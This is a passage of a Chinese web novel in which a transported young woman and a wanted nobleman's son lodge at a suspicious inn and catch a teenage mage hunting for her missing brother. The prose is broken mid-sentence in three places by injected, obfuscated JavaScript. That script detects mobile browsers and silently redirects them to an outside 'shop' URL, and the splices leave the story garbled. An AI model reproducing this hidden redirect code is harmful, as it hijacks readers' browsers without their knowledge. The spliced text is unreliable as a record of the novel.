店门口,莫筱初戴着斗笠,靠着门框等邱田恬出来。面前熙熙攘攘的街道上,走来一队巡逻的捕快,莫筱初随即压低帽檐。 渠京很大,藏身的地方更多,安保也更严密,。 等巡逻队走远,邱田恬也换好衣服出来了。 莫筱初看见面前红色的人影,愣了一下。邱田恬穿着那身绛红襦裙,裙摆上有若隐若现的金色丝线流动,腰部的围裳中间绣着一朵盛开的黄色莲花,两侧的流苏随着她的走动摇摆。 她小臂上搭着那件斗篷,挎着布包,黑色长发用一根木簪盘起来。换下那身现代服装后,邱田恬俨然完全融入了这个时代。 莫筱初突然觉得少点什么,如果邱田恬再挂一对黄金耳坠,一定会更漂亮。 “走吧。”邱田恬叫他,“我们今天住哪?” 莫筱初如梦初醒,略显慌乱地起身:“哦、哦,走,我带你去。” 两人并肩走在青砖路上,天色已经完全按下,路边商铺的灯光亮起。邱田恬刚刚在成衣店时也稍微研究了一下,这里的照明已经不用火焰,而是一种透明晶体,装在灯笼里,有和电灯同样的效果。 走了大概十分钟,莫筱初带着邱田恬停在一家名为“旌云楼”的酒楼门口。 酒楼建得很气派,但却门可罗雀,宽敞的大堂里只有四五桌客人正在吃饭。莫筱初跨门走进,直接带着邱田恬走到柜台,敲敲台面,轻声道:“云叔,云叔!” 只见柜台里面坐着个大树,正困得一下一下点头,听到这个声音,他骤然抬起那张胡子拉碴的脸,口中的惊呼在看到莫筱初的一瞬间刹车收回,转而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156301|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样小声道:“你怎么来了!?” “这不是找您来‘逃难’了吗。”莫筱初打趣着,眼神示意云叔看他身后的邱田恬,“给我开间房呗,咱们换个地方说话。” 被称作云叔的男人侧身,才看到莫筱初身后的邱田恬:“哟,少爷可以啊,还带女孩子来,她……” 话没说完,就被莫筱初抢去:“别啰嗦了,我们可是从秋山镇赶来的,现在需要休息。” “好好好,”云叔无奈道,“跟我来吧,带你去天字的包厢!那地方可气派,再给你做个红烧肉?” 邱田恬看着面前这个啰啰嗦嗦的男人,云叔看上去有五十多岁的年级,个头很大,比莫筱初还高半个头,留着络腮胡,皮肤呈古铜色,身材壮硕,看上去像是练家子,不像是开酒楼的生意人。 或许也是因此,这座酒楼装修得这么好,生意却很惨淡。 邱田恬跟着两人走到四楼,云叔打开房间,赫然是一间装修讲究的套房,有一个小客厅,和两个卧室,刚好邱田恬和莫筱初可以一人一卧室。 他刚想把两人迎接进来,邱田恬却率先开口:“不好意思,我可以单独要一间房吗?”她意有所指地看向莫筱初,“我们住在一间套房不太合适。” 云叔一愣,看向莫筱初,就见莫筱初尴尬地笑笑:“那就两间吧,我们确实……还不太熟。” 就这样,邱田恬被带到另一个房间门口,也是天字房,和莫筱初那个房间布局对称。两人也没什么行李,邱田恬放下布包,把钱拿出来放在衣服的内袋里,准备出门转转,但是刚出门,就看见门口的莫筱初,刚好和他撞个正着。 “那个……饿了吧,要不要吃饭?酒楼的厨子给我们烧了菜。”莫筱初好像有些慌乱,“或者你想做点别的?要不要洗个澡?这边后院有澡堂。” “不了。”邱田恬冷酷地摆摆手,绕开莫筱初往外走,“我想自己出去逛逛。” “那我陪你一起……” 邱田恬脚步一顿,转过身:“我说,我想自己出去逛逛。” 莫筱初追上去,好像还想说什么,又被邱田恬打断:“莫少爷是不是先关注一下自身安全,街上都是通缉令,你还要一直乱晃吗?被通缉的是你,可不是我。” 这番话像一盆冷水,浇灭莫筱初的所有热情,他有些蔫吧地停下脚步:“我知道了,你注意安全。” 莫筱初目送邱田恬消失在楼梯拐角,没多久,云叔就端着菜走上来了,一边走一边还在往楼下看,估计是看见邱田恬刚刚冷冰冰下楼的样子。 “哟,这是怎么了?”云叔走上来,把菜端进莫筱初的房间,上面是一碗红烧肉和一碗米饭,还有一小盅酒,“你惹人家不开心了?” “算不上。”莫筱初跟着他走进房间,解开自己腰间的长刀,靠着墙放好,略显烦躁地端起酒盅抿了一口,随后抬起头盯着云叔的眼睛,“叔,你什么都没感觉到,是吗?” 云叔摇摇头:“没感觉到什么,但我知道,你不是那种随意在路上捡小姑娘的人。” 莫筱初看着眼前的佳肴,却没什么胃口,他沉声开口道: “她身上有天书的气息。” 5. 周夏 走出旌云楼,邱田恬总算松口气。不知道为什么,她在旌云楼内有些被压得喘不过气,可能是因为里面都是红木装修,让人觉得太过肃穆? 邱田恬甩甩头,决定先不想这些,看着面前热闹的街道,她还有很多需要探索的地方。 重新捡起自己之前的计划,邱田恬先去找书店。但很明显,书店不符合这种商业主干道的调性,她走了十多分钟,一直没看到卖书的店铺,手上倒是多了很多吃的。邱田恬确实饿了,除了昨天下午的那碗面,自己到今天晚上只吃了莫筱初给她的一些干粮。现在进城自然要改善一下伙食。不过她并不打算因为吃饭耽误自己的正事,所以只在路边买了个煎饼啃。 快走到街道尽头的时候,邱田恬终于在一个灯光昏暗的角落看见一家卖书的谱子。 铺子不大,只有五六平米,大部分书籍摆在外面的地上。邱田恬和老板简单聊了一下,这边的主要收益还是卖报纸,不过报纸每天早上就会卖完。 邱田恬只能先买下一本地图册。地图册大概巴掌大小,据说是游客喜欢的,里面不仅有周夏地图,还有每个省区的详细地图,简直是帮了邱田恬大忙。 买完东西,邱田恬回到热闹的主干道,找了个有人唱曲的茶楼,用五十文点了一壶花茶,坐了下来。 茶楼还算热闹,但不拥挤,能听见周围人的交谈,邱田恬觉得这是个收集信息的好地方,听听台上人的唱曲,也能了解这里的文化水平。 茶水上来后,邱田恬借着茶楼灯光,打开那本地图册。 首先,映入眼帘的,是整个周夏的样貌。 周夏的布局很像邱田恬记忆里的中国,东部靠海,西部靠山,但不同的地方依旧很多。整个国家的版图像是一个鸡蛋,是横着的椭圆形,靠东部的地区全部临海,北部有一条横跨在国境线的山脉,再往北是一片涂黑的区域,写着“大荒”。 周夏西南部是山脉,而西北部是一片平原,一直延伸到东部沿海的区域。从西南山脉有一条主要河流,名为岢岚河,横跨整个周夏,直到入海,类似于现实世界的长江。另一条主要河流从北部山脉延伸而出,名为渠江,顺着这条江到入海口,赫然写着渠京的名字。想必这座城市的名称就是从这条江得来的。 而渠江和岢岚河的中间,有一个红点标出的地名——天都。毫无疑问,这是周夏的首都,位于渠京的南部,根据比例尺换算,大概一千里的距离。 邱田恬有些看入迷,渐渐忽视茶馆周围的谈论声,继续往下翻页。地图册的内容很详细,在后面的拆分地图里,详细标出每个地方的地标和景点,甚至还有特产推荐。看来这是个供旅游参考的地图册。 山川、河流、甚至几个重要的矿产区域,都被标在这册子上。邱田恬也看到一个新名词——“素原矿”,这似乎是一种类似煤矿的矿石,是现在的主要能源。 邱田恬又想起昨天看到的云舟,那个在天上飞行的庞然大物,还有云舟身后的法阵。再看看面前桌上的灯,里面正在发光的晶石,邱田恬可以确定,这个世界的科技体系是她完全不知道的类型,没办法用现代的思维去理解。 除此之外,地图上还有一个特殊的,是一个宝塔形状的符号,备注是“通天塔”。在整个周夏只有五处,东南、东北、西南、西北各一处,天都独自一处,而东北处的通天塔,就标记在渠京。等明天天亮了,她可以去看看这通天塔到底是个什么东西。 地图册的内容太多太杂,邱田恬只能捡着重要的看,好歹知道自己现在身处何处。她又想到莫筱初,如果莫筱初说的都是真的,他是护国公的儿子,那莫家一定在天都。他难道一路从天都逃到东北?这么远的路不知道得走多久。 终于,地图册快翻完了,邱田恬翻到最后一页,突然眼前一亮。 最后一页,是一张简单的世界地图。 邱田恬感觉自己眼前的世界一下子被拓宽,这张世界地图里,周夏只占据一小部分,占地最明显的地区赫然写着四个字:“波莱帝国”。 “这就是,波莱。”邱田恬自言自语,手指从周夏的位置下移,越过海洋,定格在南半球的庞然大物上。 这整个世界也和现实世界截然不同,北半球有两片大陆,周夏所在的大陆名为“楚州”,周夏占据楚州东南部大部分陆地,东部过海,还有一片陆地,名为“邪支”。莫筱初的刀被称为邪支长刀,应该是舶来品。 而波莱帝国位于南半球,是一整片比楚州还大的陆地,最北端已经接近赤道。这两个庞大的国家隔着大海相望,让邱田恬突然有种不真实的感觉。 她穿越了,穿越到一个自己完全陌生,却又无比真实的世界。渠京在这张世界地图上比米粒还小,而自己的周围人声鼎沸,大家就生活在这里,生活在庞大世界的某个小角落中。 邱田恬也看过小说,穿越的人往往都是主角,是天选之子,要经历一番惊天动地的事业。刚穿过来时她也在想,自己难道就是这个命定之人吗,难道也要被命运推动着去完成什么吗?但看到这庞大的世界后,邱田恬突然不想再思考这些。她是普通人,在原世界是,在这个异世界也是。而她所追求的没有变化,就是活下去而已。 正想到这里,邱田恬突然听见掌声,只见台上唱曲的女子下台,换了一个穿着红色官服的男子,身后,还有人拿着二胡和唢呐,显然是个大节目。茶馆里的客人也很期待,各个说话的声音都小了。 只见那男子抬手起势,右手成掌,在身前一挥,唢呐明亮的声音骤然响起!一段欢腾的前奏后,二胡拉响,也是跳脱的曲调。戏子随之唱道: “看红旗卷宫阙,振臂呼,摧龙庭。” “万民作剑,削平金銮阶。” “喜得是,春雷乍醒,山河新颜,布衣儿郎登玉殿。” “笑我爹娘旧梦里,官威如虎民如芥,今日惊堂木,竟握识字老农手中间。” 唢呐的声音又响,不知何时,舞台上还多了鼓,打鼓一响,台下的气氛也愈加热闹。 邱田恬不了解戏曲,台上人的许多咬字她听不太清,根据前后语,也能大概理解。周夏经历过革命,打倒封建统治阶级,现在老百姓也有当官的机会,也怪不得这戏子能大摇大摆地穿着官服上台。 但同时,她听到邻桌窸窸窣窣传来的对话,竖起耳朵听去,听见那桌人的嗤笑声。 “还削平金銮阶呢,我看这金銮阶马上又要建起来了。”那人一边喝茶一边和朋友闲聊,“你听说没,莫家和叶家要联姻了,这两家凑一起,政治经济都归他们管,那周夏不就是姓莫的一言堂。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156302|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的同伴慌乱捂嘴:“这话可不敢乱说啊,人多眼杂。你没看最近的通缉令吗?莫家狠起来那是自家人都杀啊!” 听到这,邱田恬不动声色地把椅子往外挪挪,更凑近一些。 只听那人接着说:“那莫长生老了,马上要退位让贤,他那两个儿子打得这么火热,不就跟争皇位一样!” “不过我看啊,‘皇位’还得是莫家老大的,据说他已经掌握实权了,发这个通缉令,就是要彻底消灭老二争权的势力。” 老大,老二!?邱田恬心中一惊,莫筱初还有个哥哥,而通缉令就是他哥哥发的。 争皇位……怪不得莫筱初不愿意多说,照这样下去,他哥真当上“皇帝”,莫筱初岂不是只有死路一条。 反而言之,自己现在和莫筱初一起行动,岂不是也会有性命之忧? 邱田恬拿起地图册,起身向外走,她现在需要一个安静的地方好好想一想。 按理来说,她现在应该马上和莫筱初分开,以免被卷入权力斗争中,但是莫筱初带着自己在秋山镇闹出那么大动静,自己真的还能全身而退吗? 更何况,自己身份可疑,查不到履历,还可能掌握着使用强大魔法的方法。如果她自己是掌权者,肯定不会放任这样一个角色在江湖游荡。 邱田恬一边想一边走,天色已经很晚,街道上渐渐安静下来,远处可以看见旌云楼的灯光。她停下脚步,看着那栋楼,迟迟没有再前进。如果决定要离开,那就越早越好。 恍惚间,邱田恬好似又感受到迎面而来的风,感受到身后有个温暖的温度,抵住自己的后背,把所有攻击都拦在身后。 “啊……”邱田恬懊恼地捂脑袋,她到底在想什么,自己什么时候变成这么优柔寡断的人了? 这件事情,明明很简单。莫筱初因为权力斗争被追杀,那他成为赢家不就行了! 邱田恬看着自己的手,想到昨天,她用这双手诞生的奇迹。不就是魔法,不就是数学吗?她学!学会魔法,然后让莫筱初坐上“皇位”,一切就都能迎刃而解! 如果左走右走都是死路,那不如就向前走。 她不再犹豫,抬步朝着旌云楼走去,却看见旌云楼旁的阴影里有几个晃动的人影。 邱田恬心中一紧,看看周围,商铺的灯光都灭了,只有零零星星的窗户还亮着,而那几个人人影鬼鬼祟祟,好像还在搬运什么东西。她侧身靠墙,小心翼翼地摸了过去,定睛一看,居然还是个熟人。 是那个带他们进城的商人! 只见那商人换了一套黑色便装,指挥着两个力工搬运货物,那是个巨大的木质箱子,看不出颜色,里面装着的货物似乎不轻,两个浑身肌肉的力工青筋骤起,才能哼哧哼哧地抬着走。那小巷估计是旌云楼运货的路,并没有铺砖,不算平整,所以一个力工走了两步被绊了一下,身体猛地一斜,手中的箱子一抖,箱盖突然落地。 几乎同一时刻,一只苍白的手也从箱子边缘伸了出来!但那商人反应极快,赶紧捡起箱盖扣好,又开始催促那二人。 邱田恬瞳孔骤缩,把自己的呼吸声也压下几分,等到他们搬着箱子彻底走远后,才探出身子,看向旌云楼依旧明亮的灯光。 看来莫筱初所谓的“避风处”,也不是个等闲之地。 6. 后院 旌云楼内,邱田恬离开后的氛围,显得有些沉重。 “天书?你确定?”云叔不自觉压低声音,凑近莫筱初,沉声道,“那女孩看着没什么特别的,你可别在这种重要的事情上找错人。” 莫筱初斩钉截铁道:“放心,肯定不会,她刚刚出现在秋山镇的时候,周围的魔素含量成倍高于其他人,虽然现在稍微淡了些,但在我的感知里还是很显眼。而且,刚遇到她时,她身着奇装异服,对周夏的各种信息一窍不通,甚至连魔法都不知道。” 他一边说着,一边把清酒倒满:“只是现在我的身份敏感,没办法直接带她返回天都。” 云叔挑挑眉:“那你就打算先把她藏在我这?” “我想过这个,但看那姑娘的性格,估计不会愿意被‘关’在这里。”莫筱初抿下一口清酒,这是渠京特产的醽醁,一两能卖到上千,但此时在莫筱初口中似乎只有苦涩。 他有些担忧地看向窗外:“从渠京到天都一千三百里,我打算以游历之名,带着她一路走过去,刚好也能让她更了解周夏的情况。” 说到这,莫筱初突然想起做完邱田恬发动的魔法,询问道:“对了,你这有魔法书吗?她的魔法天赋很强,我也想让她多学一点!” 谈到这个话题,莫筱初的语气明显激动起来:“我们昨晚在秋山过夜,她只看了一遍就记住了引火咒文,而且还发动了!那火焰燃起来差点烧了树枝,比我见过的攻击火魔法威力还大!” 云叔看着面前的莫筱初,脸上不自觉也多一抹笑意,少年像是刚得了新玩具的小孩,不禁让他回忆道多年前还在天都的时候。只可惜魔法这种东西,他一介“厨师”实属爱莫能助。 “魔法书我确实没有,不过我可以帮你联系许澜,她明日有公务前来渠京,可以帮你教教你的小姑娘。” “许澜姐要来!”莫筱初眼睛一亮,“那真是太好了!” 在这里,莫筱初明显放松许多,甚至有点邱田恬没见过的孩子气。他和云叔有一搭没一搭的聊着,酒盅也不知不觉空了,直到门外传来脚步声。 邱田恬心事重重,踩在木地板上的脚步也很沉重。刚刚她在外面没找到的报纸,却在旌云楼的柜台上看见了,日期是六月二十二,头条是《莫家势力进一步扩大,是否想要将周夏国更名为莫姓天下!?》。 这报纸内容和她刚在茶馆里听来的几乎一样,但路人闲谈和报纸头条,显然不是一个量级的东西。 她走入房门,没等莫筱初寒暄几句,就把报纸摊在他面前,指着头条道:“你家里到底是什么情况?我刚听人说了,你还有个哥哥,通缉令是你哥哥下达的?” 莫筱初一愣,看了看头条内容,大惊失色:“你别信这个,这报纸是出名的八卦报纸,许多内容都是杜撰的!” “回答我的问题。”邱田恬制止他转移话题,“我就是想了解情况,既然我们确定同行,我总要确定现在的情况,毕竟我也不想一无所知的跳火坑。” 她拉开旁边的椅子坐下,盯着莫筱初的眼睛,等待他做出回答。 “你这都是从哪听来的……”莫筱初不禁吐槽,声音却有点发虚,“是,通缉令是家兄发的,但绝对不是你想的那样!” 他信誓旦旦:“我和我哥关系很好的!” “你……”邱田恬无奈扶额,大哥,你哥都把你全国通缉,要杀你了,你还在这兄友弟恭吗!? 像是怕邱田恬不信,莫筱初接着解释道:“你相信我,我没骗过你。我和我家里真的只是有点误会,外面流传的那些言论也都是杜撰。我和家兄从小一起长大,鲜有争吵,又怎会为了一点家产而争得你死我活。” “那他为什么会全国发你的通缉令?”邱田恬直白地问道。 这一问,倒是把莫筱初问住:“我、我也不知道。” 他垂下头,像霜打的茄子:“一个月前我离家游历,本计划三个月左右回家,但没想到我离开不到一周,就成了通缉犯。这肯定是因为误会,我知道家里有人不喜欢我,肯定是他们和兄长说了什么,才会如此,只要我向他解释清楚就好!” 他越是这样解释,邱田恬越觉得可悲。 两天的相处,邱田恬也对莫筱初有了些许了解。说好听些,他身上有侠气,从秋山镇到渠京,不乏对她的照顾。但说难听些,莫筱初有些不谙世事,认识不久就能对她这个陌生人的和盘托出,也不怕她去全知阁告密。 她不知道莫筱初现在为什么会在被全国通缉的情况下,还对那个所谓的哥哥留有这么毫无保留的信任,但毫无疑问,如果他继续这样下去,迟早会被复杂的人心吃干抹净。 邱田恬又开始纠结,如果莫筱初一直这样天真,自己与他同行是否还是不太稳妥。但莫筱初确实武力高强,足以当个合格的保镖。 没有更好的选择,邱田恬只能得过且过。想到自己刚刚在旌云楼后院看见那鬼鬼祟祟的几人,邱田恬转向云叔旁敲侧击问道:“这位……老板,您这的酒楼,是只有吃饭和住宿两个业务吗?” 刚刚还在津津有味看两人争吵的云叔一愣,理所当然地想歪,怒道:“我这可是正经场所,正经人做正经生意!” 邱田恬看他这幅样子,不像作假,干脆把刚刚看见的场景告知:“我刚才回来的时候,看见有人在往你的后院搬东西。” 她看向莫筱初:“是带我们进城的那个商人指挥的,搬运的箱子里,好像是个人。” 此言一出,房间内的温度似乎骤降几分。云叔大感不妙,拍案而起:“你们在这藏好,我下去看看!” 话罢,他夺门而出。 “等等,我和你一起去!”莫筱初也赶紧起身,拿起自己的长刀,跟着他要出门,却被邱田恬拉住。 邱田恬小声道:“你凑什么热闹?能不能有点通缉犯的自觉啊!” “我……”莫筱初一时不知如何作答,但很快挣脱邱田恬的手臂:“云叔是看着我长大的,像我干爹一样。你刚刚说的那伙人,一听就来者不善,他上了年纪,万一遇到危险出事怎么办?我既然在这里,就不能放任不管。” 他说着,不顾邱田恬的劝阻,追了出去。 邱田恬呆愣在原地,一时间不知如何是好。莫筱初这人真是天真的可笑,事到如今,比起保全自己,居然更想着别人。 她咬咬牙,也下楼去了。 …… 旌云楼,后院。 云叔提着灯笼慌慌忙忙出来,却没发现什么异常。 常年来,酒楼的生意实在太差,本打算用于囤货的后院逐渐荒废,也无人打理,此时四处长满杂草,石阶上满是灰尘,中央的水井也早已干涸。夏日的夜晚里,院子的杂草中回荡着起起伏伏的蝈蝈叫,头顶悬着满月,月光洒下一片,将整个后院的萧条照亮。 “那小姑娘莫不是诓我。”他一边骂骂咧咧,一边拨开杂草走到院子中央,提起灯笼四处张望。 身后传来莫筱初的声音:“云叔!可有什么异常?” 他提着刀飞速跑来,拇指抵在刀镡上,站定在云叔背后,微微侧身,戒备着云叔的视野盲区。 “哪有什么异常。”云叔注视着几十年如一日的后院,“那小姑娘肯定是看走了眼,就算有歹人,怎可能来我后院为非作歹!” 如是想着,他回头要进屋,却和刚出来的邱田恬装个满怀。 邱田恬自然也听见了他的抱怨,反驳道:“我看的清楚,你这后院绝对有人。”她指指远处的一扇门,“你这门是不是就通往南边的小路,那条没有铺砖的土路。” 云叔盘算一下,在自己脑中画个地图,从那木门往外走,好像真是南边土路。 没等他们说话,莫筱 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邱田恬看着云叔这暴怒的样子,还有胳膊上正在跳动的肌肉,不由得想到莫筱初刚说他“年纪大了”,这位老年人看着可不是好对付的样子。 正当她这样想着,余光却瞥见院落另一处杂草成堆的地方,突然抖动一下。 下一秒,一个黑影如猫般突然蹿出,速度极快,正是刚刚被取下门闩的后门! 但比那东西更快的,是莫筱初!几乎是同一时间,莫筱初已经步伐一转,整个人挡在木门之前,手中刀已出鞘,反射着森森月光,只等那黑影冲来,手起刀落。 但不料,那黑影突然伸出一只白皙的手,手上拿着一只白尖毛笔,在空气中挥舞,笔尖居然随之凭空生出发着白光的字符! 空气中传来一个沉稳的声音:“光。” 话音未落,那些白光字符如同刀刃一般炸开,瞬间贯穿所有黑色的轮廓!邱田恬甚至在一瞬间怀疑,这人莫不是引爆了一颗闪光弹!? 挡在门前的莫筱初首当其冲,他赶紧闭眼,用手臂挡住眼睛,趁着这个空隙,那黑影急忙想从莫筱初身边略过,却不料莫筱初闭着眼睛听声辨位,手中的刀鞘猛地击中那人的腹部,把他击飞出去,空气中回荡着一声闷哼。 但这一击却没有彻底几道那黑影,他借着击飞的力道,踩着身侧的墙体一个转身,朝着邱田恬冲去! 邱田恬眼前的白光刚刚消失,就看见了那个已经逼近到身前的影子,而她的身后,是通往旌云楼大堂的路。 “邱田恬!”莫筱初一惊,脚下发力飞速掠去,但还是慢了一步,那黑影已经冲到了邱田恬的面前!似乎并没有攻击的意思,只是想逃跑。 但事到如今,邱田恬又怎能放任这东西离开—— 只见她双腿岔开下蹲,扎稳马步,双手发力成爪,在那黑影略过她身侧的一瞬间,右手猛地扣住它的手腕!随后邱田恬扣腕的右手迅速朝向自己怀中一带,左臂如同蛇一般钻入他肘下,小臂上抬,死死卡在他肘关节处。与此同时,她抬脚一个横扫,那人瞬间失去重心下跪,再加上邱田恬的身体重量,直接被双手反剪,按在地上动弹不得。 还好自己当年为了防身,学过一点擒拿。邱田恬暗自庆幸,看向身下,那人穿着一身黑衣,带着兜帽,看不清面貌,体型娇小。 “放开,你们这群坏人,放开我!!!” 这是个女生的声音,嗓子很细,听着年龄不大。她被莫筱初打了一击,又被邱田恬的擒拿招式按在地上,却还在剧烈挣扎。 邱田恬一愣,腾出一只手,拉开那女生的兜帽。入眼赫然是个年轻的面庞,女孩留着短发,看上去只有十四五岁,龇牙咧嘴,眼眶通红,眼角好似已经溢出泪水。 她尖叫着喊道: “把我的哥哥还给我!!!” 7. 失踪 子时三刻,正是睡觉的时间点,旌云楼的大灯却亮得晃眼。 三个人面面相觑,你看我我看你,都不知道如何是好。 眼前穿着黑兜帽的女孩此时已经被绑在椅子上,她挣扎太激烈,又一直骂骂咧咧,刚开始还只是在哭喊,后面直接上升到辱骂,三人的上下十八代都快被骂完了,才不得已给她嘴里塞了个干净布条。 所以现在,折腾快两炷香的几人终于有了片刻喘息。 莫筱初好像和云叔在争执什么,但邱田恬早已无心再听,她坐在椅子上昏昏欲睡,不知道打了多少个哈欠。 她早该睡了,熬夜有猝死的风险,天大的事也不该耽误她睡觉。 旁边,那两人的争论声越来越大。 云叔怒发冲冠:“我看这小孩就是个贼!偷东西偷到我这来了,真是太岁头上动土!绑她一晚上就老实了,明天再送官府去!” 莫筱初赶紧小声说:“不行!她看见我了,万一把我也报给官府怎么办?不能送她走!” 是的,那女孩已经认出莫筱初了,早在邱田恬刚把她按下不久,莫筱初配合云叔要拿绳子绑她时,那女孩就看清莫筱初的脸,然后开始大叫着“通缉犯”。 “砰”的一声,云叔一拳砸在桌子上:“那你说要怎么办!难道还要我养着她不成?” 闻言,莫筱初沉默片刻,突然起身拿起刀,朝着那女孩走去,刀刃出鞘几寸,眼看就要彻底抽出…… “呜呜——呜呜呜!!!” 那女孩瞬间被吓破胆,被塞住的嘴中发出呜咽,剧烈地摆头,想要远离逐渐逼近的莫筱初,这个通缉犯果然如通缉令中所言一样,是个无恶不作的凶犯。 眼见那刀光已出,女孩绝望地闭上眼睛,想象中的疼痛却没有到来。 下一秒,她感到一只手靠近,抽出她口中的布料,身上的束缚也顿时一松。 睁眼,她发现自己身上的绳子已经被整齐地切成几段,散落在地上,而莫筱初已经收起手里的刀,向她伸出手,似乎是要拉着她起来。 “你还好吧,你放心,我们不是坏人。”莫筱初微笑着说道,但在那已经如同惊弓之鸟的女孩看来,这笑容充满不怀好意的意思。她弹跳起身,又拉开一段距离,伸手摸向自己的腰间,却发现那里空空如也。 邱田恬刚打完一个哈欠,因为女孩突如其来的动作清醒几分,很自然地从自己衣服内袋里拿出一支白尖毛笔:“你是在找这个吗?” 那女孩一惊:“我的空痕笔!还给我!” 她一边说着,一边又跑去邱田恬那想抢毛笔,只可惜她失去魔法加持的身体只是个普通女孩,邱田恬比她高一个头多,一手把毛笔举起,那女孩只能在她旁边蹦着试图够到,但却连笔毛都碰不到。 “你冷静点。”邱田恬毫不留情地按住她的头,把她推远,“你可以相信那人刚说的,我们真的不是坏人,你要是愿意好好坐下聊聊,那我就把笔还给你。” 此言一出,现场的气氛总算缓和一些,那女孩依旧义愤填膺的样子,但好歹没再大吵大闹。她稍微退开几步,观察在场的三人——一个酒楼老板,膀大腰圆,看着不像炒菜的,像是当打手的;一个漂亮姐姐,看着普通,刚刚却三拳两脚就把自己放倒,显然也不是等闲之辈;还有一个通缉犯,不必多说,若她今天有命活着离开,肯定要叫官府来抄了这酒楼! 邱田恬看着这孩子脸上不断变化的表情,再加上她一上来就把几人认定为坏人,偏偏确实还有莫筱初这个板上钉钉的通缉犯在场,怕是不管他们如何解释这女孩都不会相信。 她叹口气,微微弯腰,把自己放在和那女孩同等的高度:“我知道你在想什么,你觉得我们是坏人,想要把我们绳之以法,那也得先活着出去。” 她一边说,一边撇了眼莫筱初。 莫筱初很有眼色地“蹭”地亮下刀光。 女孩浑身一颤,咬牙道:“聊!你们想聊什么?” “先聊聊你叫什么,为什么会出现在旌云楼的后院。” …… 女孩姓余,名合乐,今年刚过十五,心思单纯,在三个卑鄙大人一边旁敲侧击一边红白脸齐唱的“逼问”下,不到一盏茶的时间就把自己的情况全部和盘托出。 合乐是渠京本地人,家里父母早亡,自己被哥哥当力工赚钱拉扯大,生活一直很艰难。 转机发生在五年前,那时国家发展急缺人才,开始进行全国普查,统计全国天生携带魔素的人进行培养。合乐那年刚刚十岁,普查的队伍查到渠京,每天就拿着纸符在街上挨个让人尝试。 合乐都不知道那纸符是干什么用的,但当她碰到那粗糙的宣纸时,上面的符咒突然亮了,而她的人生也随之改变。 那年,渠京一共发现十五个魔素携带者,合乐是魔素天赋最好的那个。国家带着她去天都,每个月给她和她的家里资金补助,合乐经常和哥哥书信往来,也能感到哥哥的生活在日渐转好。 只可惜天都和渠京太远,哥哥过不来,她也回不去。就这样,一晃五年过去,她完成基础学习,考上了丙级国家魔法师证,也终于攒够了回家的钱。 但她五天前到渠京时,家里却没人了。 城西的小屋还是熟悉的样子,灶里的木灰还有火星,绳上的衣服还有潮意,但哥哥却不见踪影。她本以为是哥哥有事外出,在家里等了一夜,却发现哥哥彻夜未归。 于是合乐开始寻找,报了官府,但官府根本不管这种小市民的失踪,看在她是国家魔法师的身份上,聊胜于无地查了查,却查出哥哥欠下十几万赌债,说他估计是外逃躲债去了。 合乐自然不信,自己早就给哥哥在信里说明了回家日期,哥哥不可能抛下她自己离开,更何况那时家里的种种痕迹都表明,居住在此的人才离开不久。合乐打定主意,既然官府不愿意查,那她就自己查。 三天时间,她从哥哥的工作查起,一路问询,还用魔法寻了不少方便,终于发现一伙可疑的人。 那伙人中带队的是哥哥的发小,别人都叫他阿生,表面上在当包工头,带着手下人承接各种力气活,最近一段时间却突然暴富。 合乐跟了他三天,发现这人白日游手好闲,在街上打广告,招募工人;晚上常在旌云楼后方晃悠,鬼鬼祟祟不像在做好事。而他每天招工,却从未带人出去做工过。 今晚,合乐打定主意跟踪他,看见他和人一起抬着箱子,走后门进入旌云楼后院。 看来这旌云楼外表光鲜亮丽,内地里居然是个贼窝!怪不得生意那么差还能开这么久! 她如是想着,也翻墙进入后院,却不料后院一片萧条,根本不像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156304|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人来过的样子,而刚刚她眼看着进入的几人,居然凭空消失了! 未等她离开,突然瞥见一抹灯笼的亮色,只见一大汉打着灯笼,骂骂咧咧地在找人…… “之后就是现在这样了。”合乐说完一通,口渴得紧,也不顾刚刚还觉得面前这群人是坏人,伸手就接过莫筱初递来的茶水一饮而下。 未等其他人做反应,喝完水润过喉的小姑娘又提高音量:“所以你们这群贼人到底在做什么勾当!我告诉你们,你们趁早自首,告诉我哥哥的下落!我可是国家魔法师,你们要是敢动我,研究院不会放过你们的!” 邱田恬大概能明白她的思路,本身就觉得这旌云楼可疑至极,又在这看见莫筱初这个通缉犯,合乐心中的疑虑一下子被板上钉钉,而在此的三人直接跳进黄河也洗不清。 面前,云叔和莫筱初的表情十分沉重,合乐这番话几乎证明旌云楼的后院定然有猫腻,但身为老板,云叔居然半点不知道。此时早已过了丑时,莫筱初和邱田恬白天一路从秋山镇走来,本就疲惫不堪,此时又熬到这个点,邱田恬的哈欠已经止不住了。 